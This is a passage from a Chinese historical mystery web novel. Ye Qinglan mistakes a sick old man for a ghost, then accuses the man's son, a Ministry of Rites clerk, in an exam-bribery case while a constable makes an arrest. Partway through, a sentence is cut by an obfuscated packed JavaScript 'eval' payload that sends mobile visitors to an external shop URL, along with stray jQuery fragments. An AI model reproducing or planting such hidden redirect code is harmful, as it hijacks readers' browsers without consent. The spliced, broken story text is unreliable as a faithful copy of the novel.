他头也不回地逃出门，一路跑到篱笆门外，扶着篱笆喘气。


    槐王家里怎么会有鬼怪？


    屋里的光亮忽起变化，好像是那鬼怪把火折子捡了起来，长长的影子沿着窗户纸移动，转瞬间到了门口。


    叶青岚屏住呼吸。


    它出来了！


    光秃秃的头顶垂下几缕白色乱发，身上的灰衫到处都是破洞，干瘪的手爪拿着他的火折子，火光照亮半张残破扭曲的脸，两只又深又大的眼窝仿佛要把他吸进去。


    它张开大口，露出仅剩的三颗牙，对着他“哈”了一声。


    叶青岚心头剧震，仰天栽倒。


    第四日


    叶青岚做了个梦。一只青面獠牙的鬼怪扑过来，从在他身上咬下一片片肉，放在一个大铜盆里，倒入滚水，花椒、麻油、葱姜蒜……他的肉不知有什么毛病，烧起来焦臭异常，把那鬼怪熏得直咳嗽。


    咳咳咳，咳咳咳。


    叶青岚睁开眼睛。天空阴云密布，眼前飘着黑烟，湿柴燃烧的臭味灌入鼻腔。


    双手触到粗糙的地面。他怎么躺在院子里？


    一张倒着的脸出现在视野上方，长脸细眼睛，两根眉毛耷拉下来，一副丧气的样子。


    是那个喝醉酒的槐王。


    “你是谁？”


    这个问题他每天都要回答好几遍。不过今天情形有些特别，他一骨碌爬起来，险些把槐王撞个跟斗。


    “鬼在哪里？”


    “鬼？”


    “谢顶白发赤脚吊死鬼，舌头有那么长，手爪有那么尖，抢了我的火折子……”


    他说到这里，一扭头，正好瞥见掉在地上的火折子。


    “看到没有！它昨晚就是在这里把我吓晕的！这位兄台，它白天是不是不出来？”


    槐王面色不豫，“你见到的应该是家父。”


    叶青岚第一反应，“加负”是哪路鬼怪？


    槐王把他往小屋里拉。


    “不不不，我可不敢进去。”


    槐王叹了口气，朝屋里喊道，“爹，药粥熬好了，您老人家出来吃吧。”


    吧嗒吧嗒，屋里走出一个赤脚的白发老人，身上灰衫破破烂烂，眼窝深陷，赫然就是昨晚遇到的“鬼怪”。他对张大了嘴的叶青岚视而不见，笔直地走到湿柴堆前，伸手就往陶罐里抓。


    槐王奔过去，一把拦住，递上勺子，“不能用手抓，上回烫伤养了半个月才好，忘了？”


    老人口中嗬嗬作声，舀起药粥就往嘴里送，那粥冒着热气，一看便知是滚烫的，他喝个不停，衣服前襟滴得到处都是，浑然不觉。


    槐王回过头，歉然道，“家父患疯病已久，平日全靠我照料。”


    叶青岚长出一口气，羞愧得无地自容，昨晚黑灯瞎火，竟把一个患病老人当成鬼了！


    “在下言行无状，实在该死！”


    “言重了。”


    “不过这位兄台，令尊离不得人，你昨日却喝得酩酊大醉，差点找不到回家的路，是不是遇上什么难处了？”


    槐王的背影僵了僵。


    “昨晚，是你送我回来的？”


    “也不算送。是你拖着我一路跑回来的。”


    槐王拱手，“实在抱歉。在下姓张名敞，礼部吏员，近日公事缠身，心烦意乱，只能借酒浇愁，让公子见笑了。”


    叶青岚眼睛一亮，“礼部？可是负责科考事宜的？”


    张敞苦笑，“如今整个京城都传遍了，说什么贡院有白发厉鬼索命，柳大人大发雷霆，要追究我们办事不力之罪。”


    “此事在下亦有耳闻。那考生死在号舍，实是飞来横祸啊。”


    张敞探究地看了他一眼，“不知公子昨日在何处遇到在下？”


    叶青岚略一思忖，眼前之人若真是槐下客，酒醉后胡言乱语暴露了身份，弄不好要杀人灭口。明智的做法是装傻糊弄过去。


    但他偏要铤而走险。


    “祥云巷，琅嬛阁，”他大剌剌地说，“槐王还欠我一杯茶呢。”


    张敞果然脸色大变，“你……”


    “明人面前不说暗话。在下有一桩大生意要介绍给槐王，张相公愿不愿意传个话？”


    张敞瞪着眼睛，似乎在犹豫，身后张父喝完了粥，突然飞起一脚，踢翻了陶罐。


    哗啦啦，陶罐摔在地上碎成两半，火星四溅，张父的大脚趾登时红肿，他看着脚趾，似乎感觉不到疼痛，反而有趣，咧开嘴“哈！”了一声。


    一丝晶莹的涎水沿着嘴角流出来。


    张敞无奈，“公子稍等，我先把老父搀进去。”


    篱笆院外马蹄声响，数匹奔马飞驰而来，领头的男人鹰钩鼻薄嘴唇，手持长鞭，气势汹汹。他一勒缰绳，奔马直接跃过篱笆，堪堪停在三人面前。


    张父受惊，一跤摔倒。


    如此声势，不看也知道是谁。


    “陆大人，咳咳，真是人生何处不相逢啊。”


    陆冰鹰一般的眼光掠过了他，停在张敞身上。


    “张敞，跟本捕头回提刑司。”


    张敞一怔，“阁下是谁？”


    陆冰身旁的差役奇道，“京城还有人连我们陆捕头都不认识？”


    叶青岚脑中迅速转过几个念头，压低声音，“东家，这位就是大名鼎鼎的提刑司三板斧，专破疑难刑案。”


    “……你为何突然叫我东家？”


    叶青岚声音压得更低，“东家，你那祥云巷琅嬛阁的生意，恐怕是东窗事发了。”


    “……我只不过卖些笔墨纸砚，何至于……”


    陆冰哪里容得别人在他面前交头接耳，抽出长鞭凌空一击。


    声如裂帛。叶青岚闭了嘴。张父却大叫起来，“不是我干的！不是我干的！别抓我！别抓我！”


    他人虽老迈，却声如洪钟，粗粝的嗓音传出里许。


    陆冰乍见白发老人发病，也甚是惊异，“他怎么回事？”


    张敞道，“家父患有疯病，受不得惊吓，也离不开人。陆捕头，您要问话，就在这儿问吧。”


    “还跟我装傻？把画像拿上来。”


    差役递上一副卷轴，陆冰单手抖开，举到空中。画上是个长脸细眼睛的男子，眉毛耷拉下来，一副丧气样。笔画简单却十


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263956|197985||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    分传神。


    “这图上的人，是你吧？”


    叶青岚看看画，看看人，“东家，好像真的是你！”


    张敞横了他一眼，“你……”


    陆冰厉声道，“有人亲眼看到你给了那个死掉的考生陈思贤一大包黄金。凭着记忆，画出了你的相貌。”


    此话一出，张敞固然大惊，叶青岚也大感意外。他去祥云巷查探，是因为许观说陈思贤曾给槐王送礼。而许观所说，陈思贤收到一大包黄金的事还没来得及查呢。想不到一炮两响，一蛋双黄，这送礼和收礼的竟是同一个人，就是眼前这个一脸丧气的礼部吏员。


    礼部负责科考事宜，要进入考场动手脚，舍他其谁？


    看来这次交了好运，抓凶手出奇地顺利。


    陆捕头当前，此刻不落井下石，更待何时。


    叶青岚清了清嗓子，“东家，你还是早点招了吧！”


    张敞张口结舌，“你……我招什么招？！”


    “陆捕头，小人名叫酸枝，是做短工的。昨天第一天上工。掌柜的临走前吩咐我把祥云巷琅嬛阁的账本带给东家。”


    他拿出一本账本，此物从真酸枝手中抢来后就一直藏在身上，昨晚还躺在上面睡了一夜，硌得腰疼。


    张敞一惊，劈手就要来抢，被陆冰一鞭子抽在手腕上，登时留下一道血痕。


    他怒道，“我是礼部吏员，你竟敢鞭打我！”


    陆冰狞笑，“本捕头很久没听过这么好笑的笑话了。”


    他哗啦啦翻动账本，“看来你这生意做得不小啊。是不是太苛待手下了，连伙计都出来指认你？”


    张敞脸色铁青，“在下从未听说过什么琅嬛阁。也不认识此人。”


    叶青岚道，“陆捕头，他方才亲口承认贩卖笔墨纸砚，那是千真万确抵赖不了的。坊间传言，去琅嬛阁购置文房四宝，就能得到槐下客的点拨，金榜题名。”


    陆冰双眼放光，“原来槐下客也是你！真是得来全不费工夫，看来今天可以结案了。”


    张敞气道，“此人来历不明，甚为可疑，陆捕头为何对他的话照单全收？”


    叶青岚摇头晃脑，“那自然是因为我一身浩然正气，令人一见心折。”


    陆冰与他对视片刻，竟没反驳。


    张敞看看陆冰，看看“酸枝”，眼珠子转来转去，额头上终于渗出汗来。张父在一旁不间断地大喊，“不是我干的！不是我干的！”


    张敞像是得到了提示，突然跪倒，“陆捕头明鉴，在下家有疯父，所有俸禄全都拿去买药了，若真有大笔进项，怎会住在这种地方？”


    叶青岚扭头扫视小院，这个地方确实称得上家徒四壁，一贫如洗。不知考生进贡给槐下客的银子都藏到哪儿去了。


    “在下根本不认识那个死掉的考生，什么拿了黄金送人，更是无稽之谈。在下若真有那么多黄金，早就带着老父离开京城，遍寻名医去了，何必在这里日日苦熬？”


    陆冰长眉一轩，“花言巧语，进了提刑司，看你还嘴硬。”


    叶青岚随声附和，“东家，提刑司用起刑来，那滋味可不好受。”